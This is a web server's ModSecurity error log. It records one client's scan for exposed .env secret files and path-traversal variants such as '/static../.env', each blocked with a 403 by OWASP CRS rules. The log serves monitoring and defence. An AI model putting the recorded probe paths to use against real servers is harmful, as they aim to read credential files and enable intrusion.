[Sun Oct 25 22:08:46.944433 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/config/.env.staging"] [unique_id "at62LrZn9l1fDWzMN3C81AAAAAQ"]
[Sun Oct 25 22:08:46.944690 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/config/.env.staging"] [unique_id "at62LrZn9l1fDWzMN3C81AAAAAQ"]
[Sun Oct 25 22:08:46.944762 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic3.sherwinpinturas.com"] [uri "/config/.env.staging"] [unique_id "at62LrZn9l1fDWzMN3C81AAAAAQ"]
[Sun Oct 25 22:08:46.944777 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic3.sherwinpinturas.com"] [uri "/config/.env.staging"] [unique_id "at62LrZn9l1fDWzMN3C81AAAAAQ"]
[Sun Oct 25 22:08:46.946074 2026] [security2:error] [pid 2943055:tid 2943055] [client 34.81.7.133:40308] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at62Lu8Eq3zj7Cef_RFABgAAAA4"]
[Sun Oct 25 22:08:46.946253 2026] [security2:error] [pid 2943055:tid 2943055] [client 34.81.7.133:40308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at62Lu8Eq3zj7Cef_RFABgAAAA4"]
[Sun Oct 25 22:08:46.946547 2026] [security2:error] [pid 2943055:tid 2943055] [client 34.81.7.133:40308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at62Lu8Eq3zj7Cef_RFABgAAAA4"]
[Sun Oct 25 22:08:47.136677 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker-compose/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/docker-compose/.env"] [unique_id "at62Ly7g7KvJoU2B-eLMWgAAAAY"]
[Sun Oct 25 22:08:47.136854 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/docker-compose/.env"] [unique_id "at62Ly7g7KvJoU2B-eLMWgAAAAY"]
[Sun Oct 25 22:08:47.137143 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/docker-compose/.env"] [unique_id "at62Ly7g7KvJoU2B-eLMWgAAAAY"]
[Sun Oct 25 22:08:47.386393 2026] [security2:error] [pid 2938938:tid 2938938] [client 34.81.7.133:40146] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /supabase/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/supabase/.env"] [unique_id "at62LwIuNp5K2_eTlG2KmAAAAC0"]
[Sun Oct 25 22:08:47.386560 2026] [security2:error] [pid 2938938:tid 2938938] [client 34.81.7.133:40146] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/supabase/.env"] [unique_id "at62LwIuNp5K2_eTlG2KmAAAAC0"]
[Sun Oct 25 22:08:47.386768 2026] [security2:error] [pid 2938938:tid 2938938] [client 34.81.7.133:40146] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/supabase/.env"] [unique_id "at62LwIuNp5K2_eTlG2KmAAAAC0"]
[Sun Oct 25 22:08:47.393001 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prisma/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/prisma/.env"] [unique_id "at62L_v3Bqe9ulig-nTwqwAAAAk"]
[Sun Oct 25 22:08:47.393150 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/prisma/.env"] [unique_id "at62L_v3Bqe9ulig-nTwqwAAAAk"]
[Sun Oct 25 22:08:47.393386 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/prisma/.env"] [unique_id "at62L_v3Bqe9ulig-nTwqwAAAAk"]
[Sun Oct 25 22:08:47.394897 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at62LxaKu-Zjs56a5J4sBwAAAAo"]
[Sun Oct 25 22:08:47.394941 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at62LxaKu-Zjs56a5J4sBwAAAAo"]
[Sun Oct 25 22:08:47.394985 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at62LxaKu-Zjs56a5J4sBwAAAAo"]
[Sun Oct 25 22:08:47.395112 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at62LxaKu-Zjs56a5J4sBwAAAAo"]
[Sun Oct 25 22:08:47.395331 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at62LxaKu-Zjs56a5J4sBwAAAAo"]
[Sun Oct 25 22:08:47.416463 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.81.7.133:40190] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /files../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at62L9YvsK9lv2bQxMABnQAAABA"]
[Sun Oct 25 22:08:47.416544 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.81.7.133:40190] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /files../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at62L9YvsK9lv2bQxMABnQAAABA"]
[Sun Oct 25 22:08:47.416712 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.81.7.133:40190] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at62L9YvsK9lv2bQxMABnQAAABA"]
[Sun Oct 25 22:08:47.416929 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.81.7.133:40190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at62L9YvsK9lv2bQxMABnQAAABA"]
[Sun Oct 25 22:08:47.417298 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.81.7.133:40190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at62L9YvsK9lv2bQxMABnQAAABA"]
[Sun Oct 25 22:08:47.420901 2026] [security2:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40290] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at62L0DZB1z45uajChfUPwAAAAs"]
[Sun Oct 25 22:08:47.420953 2026] [security2:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40290] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at62L0DZB1z45uajChfUPwAAAAs"]
[Sun Oct 25 22:08:47.421016 2026] [security2:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40290] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at62L0DZB1z45uajChfUPwAAAAs"]
[Sun Oct 25 22:08:47.421225 2026] [security2:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40290] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at62L0DZB1z45uajChfUPwAAAAs"]
[Sun Oct 25 22:08:47.421576 2026] [security2:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40290] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at62L0DZB1z45uajChfUPwAAAAs"]
[Sun Oct 25 22:08:47.424918 2026] [security2:error] [pid 2943055:tid 2943055] [client 34.81.7.133:40308] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /media../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at62L-8Eq3zj7Cef_RFACAAAAA4"]
[Sun Oct 25 22:08:47.424971 2026] [security2:error] [pid 2943055:tid 2943055] [client 34.81.7.133:40308] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /media../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at62L-8Eq3zj7Cef_RFACAAAAA4"]
[Sun Oct 25 22:08:47.425029 2026] [security2:error] [pid 2943055:tid 2943055] [client 34.81.7.133:40308] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at62L-8Eq3zj7Cef_RFACAAAAA4"]
[Sun Oct 25 22:08:47.425248 2026] [security2:error] [pid 2943055:tid 2943055] [client 34.81.7.133:40308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at62L-8Eq3zj7Cef_RFACAAAAA4"]
[Sun Oct 25 22:08:47.425621 2026] [security2:error] [pid 2943055:tid 2943055] [client 34.81.7.133:40308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at62L-8Eq3zj7Cef_RFACAAAAA4"]
[Sun Oct 25 22:08:47.441038 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40272] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /images../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/images../.env"] [unique_id "at62LzmmX3asvCDITlDxegAAAAA"]
[Sun Oct 25 22:08:47.441043 2026] [security2:error] [pid 2936921:tid 2936921] [client 34.81.7.133:40214] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.supabase"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at62Lwdfoouc32iEpvzFjwAAAA8"]
[Sun Oct 25 22:08:47.441097 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40272] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /images../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/images../.env"] [unique_id "at62LzmmX3asvCDITlDxegAAAAA"]
